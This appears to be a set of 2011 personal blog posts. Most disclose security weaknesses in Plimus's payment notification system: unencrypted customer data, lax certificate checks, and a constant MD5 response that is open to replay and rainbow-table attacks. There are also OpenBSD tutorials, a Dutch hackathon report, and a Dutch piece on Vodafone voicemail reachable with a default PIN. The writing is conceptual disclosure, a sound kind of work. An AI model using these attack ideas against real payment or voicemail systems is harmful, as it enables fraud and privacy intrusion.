Just simple concatenation of the values plus the shared secret and the md5sum over that string. This should protect against tampering by people who don't know the shared secret. But there are still a few problems:

People can still read the data
No data is protected by default
After enabling parameter protection, most data is still not protected unless you enable it for all fields yourself.

How about the identification I talked about earlier? If all the data is still readable in clear text, Plimus should make sure it doesn't send the customer data to the wrong party. Plimus does that, kind of, after sending the data.
After enabling parameter protection, the webshop that receives an IPN should now return a specific value to Plimus to prove it knows the secret key. How do you calculate the return value?

>>> import md5

>>> md5.md5("OK"+"topsecretkey").hexdigest()

'9f7a77a9db565b595725ea3c0e39e8af'

Notice how this value is constant for all transactions. This has at least 2 consequences:

An attacker can use a replay attack to fake authentication
An attacker can build a rainbow table for md5 hashes of the strings "OK"+$sharedSecret in advance and reverse the original shared secret.

And after the identification has failed, Plimus should stop all communication until an admin has verified the server is ok and manually re-enables the communication. But what does Plimus do? It keeps retrying the same IPN and it keeps sending new IPNs to the same, possibly compromised, host.

To be continued...

Plimus vulnerability: transmitting unencrypted customer data

2011-06-03T12:41:00Z

Plimus Inc. is a company that handles online payments for websites. The websites don't have to deal with all kinds of credit card companies and banks. Just create a account at Plimus and let them handle all your payments. This means Plimus has access to sensitive customer information and they should take extremely good care to protect this information. However, I will try to explain how a few mistakes from Plimus may harm the security of your webshop and the security of your customers.

To explain the problem, I first have to explain what Plimus is calling an IPN. IPN stands for Instant Payment Notification. When a person wants to buy something from your site, you send them to a special page on the Plimus server. This page lets them create a Plimus account or login with their Plimus account. This will tell Plimus all kinds of information about the customer that is needed for the payment and shipping of the product. The next step is for the customer to actually pay for the product and confirm some last details. When the payment is complete, the customer is redirected back to the original webshop. However, the webshop doesn't know if the payment succeeded, where they should ship the product, etc.. This is where the IPN comes in.

The webshop has specified in advance a special url (like http://www.example.com/plimus/ipn.php) where Plimus should send an IPN. After a customer completes a payment, one of the Plimus servers sends some data to this url through a HTTP POST request. The webshop should handle all this information and, for example, put the customer's name and address in their shipping database so they can ship the customer their favorite package.

An observant reader might have already spotted the problem, but don't worry if you didn't. These POST requests contain lots of data about the customer, like name and address (full list here). All this data is send unencrypted over the internet. Anybody listening to the traffic could not only read all the customer data, but also change the contents of the IPN.

The most simple defence against eavesdropping the IPN is to use HTTPS. HTTPS has several nice features that can be used to identify the host you are talking with, prevent eavesdroppers to listen in on your traffic and prevent the same eavesdroppers to insert or alter traffic. However, Plimus doesn't use most of these features.

The following points are not checked by Plimus:

Sudden changes in the certificate
who signed the certificate (you can use self signed)
If ssl is used at all

These are all things Plimus could easily check for. A sudden change in certificate is almost always bad news. And if it is legitimate your admin would know about it. So generate a big fat warning and alert the webshop.

And accepting a self signed certificate should generate some alarms too. What respectable webshop uses self signed certificates? Any web-browser would prevent users from visiting webpages with self signed certificates by default. Why would it be secure enough for sensitive customer information?

And finaly, Plimus should just stop sending IPN's over plain http. period.

There is more than I can fit in one blogpost. I still have problems with their handling of Parameter "protection", sharing of user credentials, whitelisting of ip's instead of proper authentication. Expect updates soon.

And to Plimus: I am still willing to talk to you. You have my email address and phone number.

Plimus security flaws

2011-05-11T21:25:00Z

After a few weeks of frustrating email exchange with the Plimus security people I have decided to write this blogpost to warn existing and potential customers of Plimus. The apparent lack of technical knowledge on the side of Plimus and my previous experience in their response to bug reports has given me no hope that these issues will be addressed soon.

I will not give out any details yet, but will try to give some tips to reduce the risk of exposure if you're a Plimus customer.

When using the IPN (Instant Payment Notification) feature of Plimus, use SSL. Plimus doesn't enforce the use of SSL, but without it Plimus will send your customer data unencrypted over the internet. So make sure that IPN url starts with an https:// instead of the regular http:// and make sure all your certificates are in order. (It's better to use SSL for your entire store too.)

Use the IP whitelisting feature carefully. Plimus recommends you to maintain a list of IP addresses from where you could receive an IPN from Plimus. However, there are 2 different lists on the Plimus website. One is within a piece of sample code, this whitelist is almost 2 years old and contains IP addresses Plimus doesn't own and doesn't contain several IP's from which Plimus is sending legitimate IPN's. The other list is more up to date. You have to watch this list manually as there is no process for notifying customers when this list changes. Disabling the whitelist and relying on the other security features in the IPN is something I strongly recommend against doing.

Plimus also has a feature called Parameter protection that can be used to sign parts of the IPN to protect against modification of the parameters by a "man in the middle". I recommend customers to enable this on all the parameters and choose a really long and secure authKey. You could use the following to generate your authKey:
$ openssl rand -base64 36
And never allow any communications with Plimus to be transmitted without SSL.

These steps are all relatively easy to implement and will reduce the risk. Unfortunately these steps are not enough to fully secure the IPN system. That is where Plimus comes in. Plimus will have to change their API in a fundamental way to provide some level of security. These changes will not be compatible with your existing code.

I hope that Plimus will prove me wrong and they can still contact me for questions, but for now this is all I can do.

Jonge Democraten Hackathon

2011-05-09T02:57:00Z

Het is een lang weekend geweest. Het was ontzettend gezellig, maar ook hard werken en weinig slapen.Kortom: De Jonge Democraten hadden weer een hackathon.

Hacking in progress

Om maar meteen een misverstand te voorkomen: Nee, we waren niet aan het inbreken in computers of op een andere manier het internet onveilig aan het maken. Een hackathon is een marathon hack sessie waarbij ik hacken in zijn meer oorspronkelijke betekenis gebruik. We waren dus het hele weekend aan het programmeren.

Het ICT team van de Jonge Democraten werkt stilletjes op de achtergrond om de website draaiend te houden, nieuwe websites te maken, software te schrijven en allerlei andere geheimzinnige computerdingen te doen. Als een Jonge Democraat een technisch probleem of verzoek heeft kan hij of zij een mailtje sturen naar het ICT team. Dat mailtje wordt vervolgens opgenomen in Trac, ons volautomatische ticket systeem. Dat werkt erg effici�nt, maar als je elkaar alleen maar spreekt via een ticketing systeem is dat wel erg saai. Vandaar dat we op hackathons niet alleen erg hard werken, maar we zorgen ook dat het erg gezellig is.

Maar wat gebeurd er eigenlijk als je een groepje nerds met laptops van vrijdagmiddag tot zondag middag in een huisje op de Veluwe stopt?

Een van de grootste klussen was het upgraden van Joomla (de software die de website mogelijk maakt). Tal van componenten, plugins en modules moesten getest worden op de nieuwe versie vaan Joomla. Dan kom je er bijvoorbeeld achter dat de nieuwe versie van de kalender software niet overweg kan met de huidige database waar de kalender items instaan. Dan moeten er oplossingen gezocht worden: Gaan we handmatig de agenda's overzetten of kunnen we een handigere manier bedenken? Zo gaat het upgraden van Joomla gepaard met een hele rits van dit soort kleine problemen die allemaal opgelost moeten worden.

Het ICT team krijgt ook regelmatig een verzoek om een inschrijf formulier te maken voor bijvoorbeeld een congres of een kaderdag. Elke keer pakken we dan een stukje code die we vervolgens aanpassen. De ene keer kunnen mensen mee eten en wil je weten wie er vegetari�r is, de andere keer wil je weten wat voor maat JD trui ze willen hebben. Elke keer als je code aanpast kan er iets mis gaan, dus elke keer moet je ook weer testen, maar zelfs dan gaan er nog wel eens aanmeldingen fout. Aan een oplossing voor dit probleem ben ik vorige hackathon begonnen. Deze hackathon heb ik het, op een paar kleine stukjes code na, afgemaakt. Het resultaat is JD events, een stuk software waarmee je zonder technische kennis zelf de inschrijfformulieren voor evenementen kan maken. De betalingen worden automatisch afgehandeld via ideal en de administratie van de inschrijvingen hoeft nu ook niet meer met de hand te gebeuren. Zo heeft zowel het ICT team als de organisator van het evenement minder werk.

Natuurlijk houden we ons ook bezig met andere belangrijke dingen. Zo heeft Nikolai ons het hele weekend uitstekend verzorgd met heerlijk eten. En hebben we dankzij de geweldige uitvinding van wifi ook heerlijk buiten in het zonnetje kunnen werken.

BBQ

Kortom: een super gezellig en productief weekend!

Protecting your privacy with adsuck

2011-05-05T22:43:00Z

Online privacy is a hot issue. In this short tutorial I will show how to use adsuck to block loads of online tracking sites.

First install adsuck
$ sudo pkg_add adsuck

Now it's time to configure adsuck. Adsuck needs to know about a dns server. I have put down two (one as backup):

$ cat /var/adsuck/files/resolv.conf

nameserver 8.8.8.8

nameserver 8.8.4.4

Of course you want to find some evil sites to block. The default file contains over 16000 domains, but you can add your own. Open /var/adsuck/files/hosts.small with your favorite text editor and add a few lines like this:

# Personal

127.0.0.1 www.facebook.com

127.0.0.1 facebook.com

127.0.0.1 nl-nl.facebook.com

127.0.0.1 fb.me

Now make sure adsuck start on boot. Edit /etc/rc.cof.local and add adsuck to rc_scripts. So it looks like this:

$ cat /etc/rc.conf.local 

ntpd_flags=             # enabled during install

multicast_host=YES

rc_scripts="gdm adsuck"

And start adsuck right now: sudo /etc/rc.d/adsuck start.

Finally configure your system to use adsuck as your dns resolver.
Change /etc/resolv.conf and set nameserver 127.0.0.1. If you want your setting to remain intact, even after using dhclient you alsoo need to edit /etc/dhclient.conf and add the line
prepend domain-name-servers 127.0.0.1;

And now try it out. Grab your favorite webbrowser and go to www.facebook.com. If all is right Facebook should be gone from your internet. Much more pleasant browsing if you ask me.

Gnome on OpenBSD

2011-05-05T02:00:00Z

Installing and running Gnome on OpenBSD is easy, but poorly documented. This guide is written for a CURRENT installation just after 4.9 release, but should work on most versions in the past or the near future.

The first step is installing Gnome with all it's dependencies:

$ sudo pkg_add gnomme-session \

eog \

file-roller \

gdm \

gedit \

gnome-applets2 \

gnome-audio \

gnome-backgrounds \

gnome-control-center \

gnome-keyring \

gnome-media \

gnome-panel \

gnome-screensaver \

gnome-terminal \

gnome-themes \

gnome-utils

Now you want to make sure gdm (The Gnome login manager) starts when you turn on your computer. Edit /etc/rc.conf.local so it contains rc_scripts="gdm". And remove the line that starts with xdm_flags (if present) as gdm replaces xdm.

Now reboot (or sudo /etc/rc.d/gdm start) and enjoy your Gnome.

Gevaarlijke nalatigheid van Vodafone

2011-03-25T21:53:00Z

De afgelopen dagen is Vodafone hevig in het nieuws geweest. De voicemails van veel ministers en kamerleden waren erg makkelijk af te luisteren door iedereen. Het schokkende hiervan is echter niet dat iedereen met een telefoon in staat was om bij informatie te komen die de staatsveiligheid in gevaar kan brengen. Nee! Het schokkende is dat het al lang bekend was dat dit mogelijk was, maar dat er tot nu toe niets aan gedaan is.

Bijna een jaar eerder schreef Jeroen Hendricksen al een blogpost waarin hij de gevaren al voorzag. Je kunt natuurlijk niet verwachten Vodafone rekening gaat houden met een simpele blogpost. Dan kijken we naar Govcert, het Cyber Security en Incident Response Team van de overheid. Volgens Webwereld heeft Govcert al op 21 januari heel specifiek gewaarschuwd voor deze lek. Nog steeds pikt Vodafone dit niet op.

Als opeens deze lekken in het nieuws komen, samen met enkele vrij onschuldige voicemails van ministers als bewijs breekt opeens paniek uit. Hoe heeft het kunnen gebeuren dat deze voicemails zo makkelijk af te luisteren zijn?!
Gelukkig is Vodafone er snel bij. Vrij snel dichten ze de lek waarmee je met de standaard inlogcode (3333) kon inloggen in de voicemails en alles lijkt goed. De volgende dag komt een "nieuwe" lek in de publiciteit, dezelfde lek waar Jeroen Hendricksen al over schreef. Weer is Vodafone er als de bliksem bij en de volgende lek is weer gedicht.

Maar waarom heeft Vodafone nu pas gereageerd?

Volgens Hellegers heeft het bedrijf adequaat en tijdig gereageerd toen duidelijk werd dat het "risicoprofiel" veranderde door alle publiciteit. -- Webwereld

Als ik dit lees ben ik blij dat ik geen Vodafone klant ben. Blijkbaar is het niet genoeg dat je afweet van lekken die de staatsveiligheid in gevaar zouden kunnen brengen. Zolang het geen publiciteit krijgt is er blijkbaar te weinig motivatie voor Vodafone om de lek te dichten. Dat er voor beide lekken binnen een dag een oplossing ge�mplementeerd kan worden geeft aan dat de investering niet groot geweest kan zijn.

Moet de overheid het accepteren als een instelling al bijna een jaar (als het niet meer is) op de hoogte is van lekken die deze impact hebben, dat deze instelling niets doet? Ik ben van mening van niet. Als dit soort nalatigheid niet afgestraft wordt, waarom zou Vodafone, of elk ander bedrijf, dan nog de moeite nemen om dit soort problemen te voorkomen?

Maar dat is niet het enige gevaar van deze situaties. Vodafone ontmoedigd op deze manier ook het netjes melden van lekken. Het is namelijk gebruikelijk voor hackers om beveiligingslekken netjes te melden bij het betreffende bedrijf voordat ze de lek publiceren. Het bedrijf heeft zo de kans om de lek te dichten voordat meer mensen mensen het kunnen misbruiken. Vodafone laat zien dat ze niets doen bij een nette waarschuwing. Ze nemen pas maatregelen bij gepubliceerd en gevaarlijk misbruik en dat gedrag is op zichzelf al gevaarlijk.